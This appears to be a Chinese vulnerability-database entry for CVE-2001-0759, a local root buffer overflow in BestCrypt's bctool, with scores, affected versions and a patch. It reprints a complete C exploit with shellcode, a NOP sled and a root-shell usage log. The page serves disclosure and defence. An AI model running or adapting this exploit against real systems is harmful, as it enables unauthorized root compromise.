CVE-2001-0759
CVSS7.2
发布时间 :2001-10-18 00:00:00
修订时间 :2008-09-05 16:24:51
NMCOES    

[原文]Buffer overflow in bctool in Jetico BestCrypt 0.8.1 and earlier allows local users to execute arbitrary code via a file or directory with a long pathname, which is processed during an unmount.


[CNNVD]BestCrypt BCTool UMount缓冲区溢出漏洞(CNNVD-200110-082)

        CVE(CAN) ID: CAN-2001-0759
        
        
        
        BestCrypt是由Jetico公司发布的一个兼容Windows和Linux操作系统的商业化文件系统
        
        加密软件。
        
        
        
        由于bctool在umount一个加密的文件系统时没有进行边界检查,导致本地用户可能通过
        
        溢出攻击来提升权限,甚至是root权限。
        
        
        
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:jetico:bestcrypt:0.8.1
cpe:/a:jetico:bestcrypt:0.6
cpe:/a:jetico:bestcrypt:0.7

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0759
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0759
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200110-082
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2875
(VENDOR_ADVISORY)  BID  2875
http://www.securityfocus.com/archive/1/191111
(VENDOR_ADVISORY)  BUGTRAQ  20010614 Buffer overflow in BestCrypt for Linux

- 漏洞信息

BestCrypt BCTool UMount缓冲区溢出漏洞
高危 输入验证
2001-10-18 00:00:00 2005-10-20 00:00:00
本地  
        CVE(CAN) ID: CAN-2001-0759
        
        
        
        BestCrypt是由Jetico公司发布的一个兼容Windows和Linux操作系统的商业化文件系统
        
        加密软件。
        
        
        
        由于bctool在umount一个加密的文件系统时没有进行边界检查,导致本地用户可能通过
        
        溢出攻击来提升权限,甚至是root权限。
        
        
        
        

- 公告与补丁

        
        
        暂时去掉bctool的suid root属性。
        
        # chmod a-s bctool
        
        
        
        厂商补丁:
        
        
        
        Jetico BestCrypt 0.8-2已经解决了这个安全问题:
        
        
        
        
        http://www.jetico.com/download.htm

        
        
        

- 漏洞信息 (20927)

BestCrypt 0.6/0.7/0.8 BCTool UMount Buffer Overflow Vulnerability (EDBID:20927)
linux local
2001-06-14 Verified
0 Carl Livitt
N/A [点击下载]
source: http://www.securityfocus.com/bid/2875/info

BestCrypt is a commercial file system encryption software package distributed by Jetico. BestCrypt offers compatibility on the Windows and Linux platforms, using open development standards to offer a secure product.

A problem with BestCrypt makes it possible for a local user to gain elevated privileges. Due to insufficient checking of bounds by the program bctool when unmounting an encrypted file system, it's possible to overflow a buffer within the program, overwriting variables on the stack. This could lead to execution of code as root.

This problem makes it possible for a local user to gain elevated privileges. Successful exploitation of this vulnerability leads to root compromise. 

/*
 * Crippled version of the BestCrypt for Linux r00t exploit.
 * Note: this will not work out-of-the-box. You'll need to adjust it.
 * Script kiddies: don't even think about it.
 *
 * By Carl Livitt (carl@ititc.com)
 *
 * Usage example:

        foo:~ > id
        uid=500(carl) gid=100(users) groups=100(users)
        foo:~ > gcc -o bcexp bcexp.c
        foo:~ > ./bcexp
        foo:~ > bctool mount /path/to/container.jbc "$EGG"
        Enter password:
        foo:~ > bctool umount "$EGG"
        sh-2.04# id
        uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
        sh-2.04#

 * RET value will need tinkered with, also you'll find that you need to examine
 * the call history quite closely to make this work ;-)  Have a look, you'll see
 * what I mean!
 *
 * You'll also notice there's a fair bit of redundant/messy/debug code in here...
 * This is intended to be an exploit, not an example of good coding.
 *
 */
#include <stdio.h>

// Chopped up Aleph1 linux shellcode to work in a directory path.
char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
                 "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                 "\x80\xe8\xde\xff\xff\xff";

char shellpath[] = "/bin";
char shellprog[] = "/sh";

// not used any longer
unsigned long sp() { __asm__("movl %esp, %eax"); }

main(int argc, char **argv) {
        char *p,*p2, path[4096], shell[4096], command[4096], old[4096];
        int i,len, offs;
        unsigned long addr=0xbffff410;

        if(argc>1) {
                offs=atoi(argv[1]);
        } else {
                offs=0;
        }
        chdir("/tmp");
        addr+=offs;
        printf("Using addr = 0x%08x\n", addr);

        // build a series of NOPs + shellcode and  make directory
        p=path;
        for(i=0;i<162-strlen(shellcode);i++)
                *(p++)=(char)0x90;
        p2=shellcode;
        for(i=0;i<strlen(shellcode);i++)
                *(p++)=*(p2++);
        *p=0;
        strcpy(old, path);
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // add the path to the shell to the shellcode-cum-path
        for(i=0;i<strlen(shellpath);i++)
                *(p++)=shellpath[i];
        *p=0;
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // add the name of the shell to the shellcode-cum-path
        for(i=0;i<strlen(shellprog);i++)
                *(p++)=shellprog[i];
        *p=0;
        printf("strlen(path)=%d\n", strlen(path));
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // pad out the buffer with our RET address
        for(i=0;i<172;i++)
        {
                *(p++)=(char)(addr>>16)&0xff;
                *(p++)=(char)(addr>>24)&0xff;
                *(p++)=(char)addr&0xff;
                *(p++)=(char)(addr>>8)&0xff;
        }
        addr=(unsigned long)*(p-4);
        printf("ADDRESS: 0x%x\n", addr);
        *p=0;
        printf("strlen(path)=%d\n", strlen(path));
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // set environment variable and spawn a fresh shell
        setenv("EGG",path,1);
        system("/bin/bash");
}
		

- 漏洞信息

13966
Jetico BestCrypt bctool Long Pathname Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-14 Unknow
2001-06-14 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

BestCrypt BCTool UMount Buffer Overflow Vulnerability
Input Validation Error 2875
No Yes
2001-06-14 12:00:00 2009-07-11 06:56:00
This vulnerability was announced to Bugtraq by Carl Livitt <carl@ititc.com> on June 14, 2001.

- 受影响的程序版本

Jetico BestCrypt 0.8 -1
- Caldera OpenLinux 2.4
- Conectiva Linux 6.0
- Conectiva Linux graficas
- Conectiva Linux ecommerce
- Debian Linux 2.2
- Mandriva Linux Mandrake 8.0
- Mandriva Linux Mandrake 7.2
- Red Hat Linux 6.2
- RedHat Linux 7.1
- RedHat Linux 7.0
- S.u.S.E. Linux 7.1
- S.u.S.E. Linux 7.0
- S.u.S.E. Linux 6.4
- SCO eDesktop 2.4
- SCO eServer 2.3.1
- Slackware Linux 7.1
- Slackware Linux 7.0
- Wirex Immunix OS 7.0
- Wirex Immunix OS 6.2
Jetico BestCrypt 0.7
Jetico BestCrypt 0.6
Jetico BestCrypt 0.8 -2

- 不受影响的程序版本

Jetico BestCrypt 0.8 -2

- 漏洞讨论

BestCrypt is a commercial file system encryption software package distributed by Jetico. BestCrypt offers compatibility on the Windows and Linux platforms, using open development standards to offer a secure product.

A problem with BestCrypt makes it possible for a local user to gain elevated privileges. Due to insufficient checking of bounds by the program bctool when unmounting an encrypted file system, it's possible to overflow a buffer within the program, overwriting variables on the stack. This could lead to execution of code as root.

This problem makes it possible for a local user to gain elevated privileges. Successful exploitation of this vulnerability leads to root compromise.

- 漏洞利用

Exploit contributed by Carl Livitt &lt;carl@ititc.com&gt;.

- 解决方案

Update available:


Jetico BestCrypt 0.6

Jetico BestCrypt 0.7

Jetico BestCrypt 0.8 -1

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站